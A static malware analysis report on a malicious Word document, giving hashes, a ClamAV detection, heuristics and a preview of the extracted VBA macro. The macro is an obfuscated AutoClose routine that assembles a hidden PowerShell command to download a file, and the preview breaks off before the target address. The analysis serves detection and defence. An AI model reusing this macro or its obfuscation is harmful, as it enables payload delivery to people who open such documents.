Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d2df0a83292e2df3…

MALICIOUS

Office (OLE)

163.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: 1661105e7457be9b9ec738ddb10fc1c0 SHA-1: ff9fcf976b0ebe93c4e7909987f6186aab0e8767 SHA-256: d2df0a83292e2df35efee984afec47633d1745f9add89544e71305a1f93dc282
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a malicious Office document containing a legacy WordBasic AutoClose macro. This macro is designed to execute automatically when the document is closed, indicating an attempt to run arbitrary code. The ClamAV detection 'Doc.Malware.Sagent-6697295-0' further supports its malicious nature. No specific malware family could be identified.

Heuristics 5

  • ClamAV: Doc.Malware.Sagent-6697295-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-6697295-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 59262 bytes
SHA-256: b427969ee0d5e0951ea4fbd6fa48a0edf410bdd2224312250688d27f3804ada0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const dYZOUmeXYLaPyhULuBOgFAHEmmUKIGYlAziHLER = 0
Sub AutoClose()
On Error Resume Next
Dim QoGOWyHunorINUtYMOvaJanuKi(4)

If 12 = 12 + (7 * 0) Then
Dim lydOBupYxycokySEHaWiienenOtOqrafOf(4)

If 10 = 10 + (5 * 0) Then
lydOBupYxycokySEHaWiienenOtOqrafOf(0) = CLng(2717)
End If
lydOBupYxycokySEHaWiienenOtOqrafOf(1) = Sqr(5)
lydOBupYxycokySEHaWiienenOtOqrafOf(2) = Month(27172717)
lydOBupYxycokySEHaWiienenOtOqrafOf(3) = Fix(2717.5)
QoGOWyHunorINUtYMOvaJanuKi(0) = CLng(6776)
Dim VYlTiDOEBiOwbUColyPeTU(4)

If 13 = 13 + (7 * 0) Then
VYlTiDOEBiOwbUColyPeTU(0) = CLng(1096)
End If
VYlTiDOEBiOwbUColyPeTU(1) = Sqr(7)
VYlTiDOEBiOwbUColyPeTU(2) = Month(10961096)
VYlTiDOEBiOwbUColyPeTU(3) = Fix(1096.7)
Dim XubInojAVoBUWUNAdeSOSiToHin(4)

If 10 = 10 + (4 * 0) Then
XubInojAVoBUWUNAdeSOSiToHin(0) = CLng(5156)
End If
XubInojAVoBUWUNAdeSOSiToHin(1) = Sqr(4)
XubInojAVoBUWUNAdeSOSiToHin(2) = Month(51565156)
XubInojAVoBUWUNAdeSOSiToHin(3) = Fix(5156.4)
End If
QoGOWyHunorINUtYMOvaJanuKi(1) = Sqr(7)
QoGOWyHunorINUtYMOvaJanuKi(2) = Month(67766776)
QoGOWyHunorINUtYMOvaJanuKi(3) = Fix(6776.7)
Dim WixOSfYyaudOxHaaOkEGUGEDeKIpuGEVy(4)

If 12 = 12 + (2 * 0) Then
WixOSfYyaudOxHaaOkEGUGEDeKIpuGEVy(0) = CLng(5066)
End If
WixOSfYyaudOxHaaOkEGUGEDeKIpuGEVy(1) = Sqr(2)
WixOSfYyaudOxHaaOkEGUGEDeKIpuGEVy(2) = Month(50665066)
WixOSfYyaudOxHaaOkEGUGEDeKIpuGEVy(3) = Fix(5066.2)
Dim VolAMagWISXReCaZMAFE(4)

If 13 = 13 + (2 * 0) Then
VolAMagWISXReCaZMAFE(0) = CLng(8189)
End If
VolAMagWISXReCaZMAFE(1) = Sqr(2)
VolAMagWISXReCaZMAFE(2) = Month(81898189)
VolAMagWISXReCaZMAFE(3) = Fix(8189.2)
Dim qOgycUTOWINIbySAxcoayWAJIbIgOnIFiSiMAr(4)

Dim cecOxEHeHyPAgaMGoteRoJsYgItaWORasaupXyaiVUNO(4)

If 10 = 10 + (5 * 0) Then
cecOxEHeHyPAgaMGoteRoJsYgItaWORasaupXyaiVUNO(0) = CLng(554)
End If
cecOxEHeHyPAgaMGoteRoJsYgItaWORasaupXyaiVUNO(1) = Sqr(5)
cecOxEHeHyPAgaMGoteRoJsYgItaWORasaupXyaiVUNO(2) = Month(554554)
cecOxEHeHyPAgaMGoteRoJsYgItaWORasaupXyaiVUNO(3) = Fix(554.5)
If 10 = 10 + (3 * 0) Then
qOgycUTOWINIbySAxcoayWAJIbIgOnIFiSiMAr(0) = CLng(7022)
Dim aihYQokILEwuHoBimuxoloCogALiKiMeKEa(4)

If 12 = 12 + (10 * 0) Then
aihYQokILEwuHoBimuxoloCogALiKiMeKEa(0) = CLng(5393)
End If
aihYQokILEwuHoBimuxoloCogALiKiMeKEa(1) = Sqr(10)
aihYQokILEwuHoBimuxoloCogALiKiMeKEa(2) = Month(53935393)
aihYQokILEwuHoBimuxoloCogALiKiMeKEa(3) = Fix(5393.1)
Dim iazYMOLoiEgYvaMizEqyNAFiFufECiHylasywyteDEnahaV(4)

If 11 = 11 + (2 * 0) Then
iazYMOLoiEgYvaMizEqyNAFiFufECiHylasywyteDEnahaV(0) = CLng(9357)
End If
iazYMOLoiEgYvaMizEqyNAFiFufECiHylasywyteDEnahaV(1) = Sqr(2)
iazYMOLoiEgYvaMizEqyNAFiFufECiHylasywyteDEnahaV(2) = Month(93579357)
iazYMOLoiEgYvaMizEqyNAFiFufECiHylasywyteDEnahaV(3) = Fix(9357.2)
End If
qOgycUTOWINIbySAxcoayWAJIbIgOnIFiSiMAr(1) = Sqr(3)
Dim lypYNihAfICEQUSenDYJoBuBecnEvE(4)

If 12 = 12 + (2 * 0) Then
lypYNihAfICEQUSenDYJoBuBecnEvE(0) = CLng(8368)
End If
lypYNihAfICEQUSenDYJoBuBecnEvE(1) = Sqr(2)
lypYNihAfICEQUSenDYJoBuBecnEvE(2) = Month(83688368)
lypYNihAfICEQUSenDYJoBuBecnEvE(3) = Fix(8368.2)
qOgycUTOWINIbySAxcoayWAJIbIgOnIFiSiMAr(2) = Month(70227022)
qOgycUTOWINIbySAxcoayWAJIbIgOnIFiSiMAr(3) = Fix(7022.3)
tEVeMYayWOBIvYJiziGPuhmyDOpmAVewuse = "d." + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "x" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + " /c p^O^w^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^R^s^H^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^L^L^.^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^x^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B
... (truncated)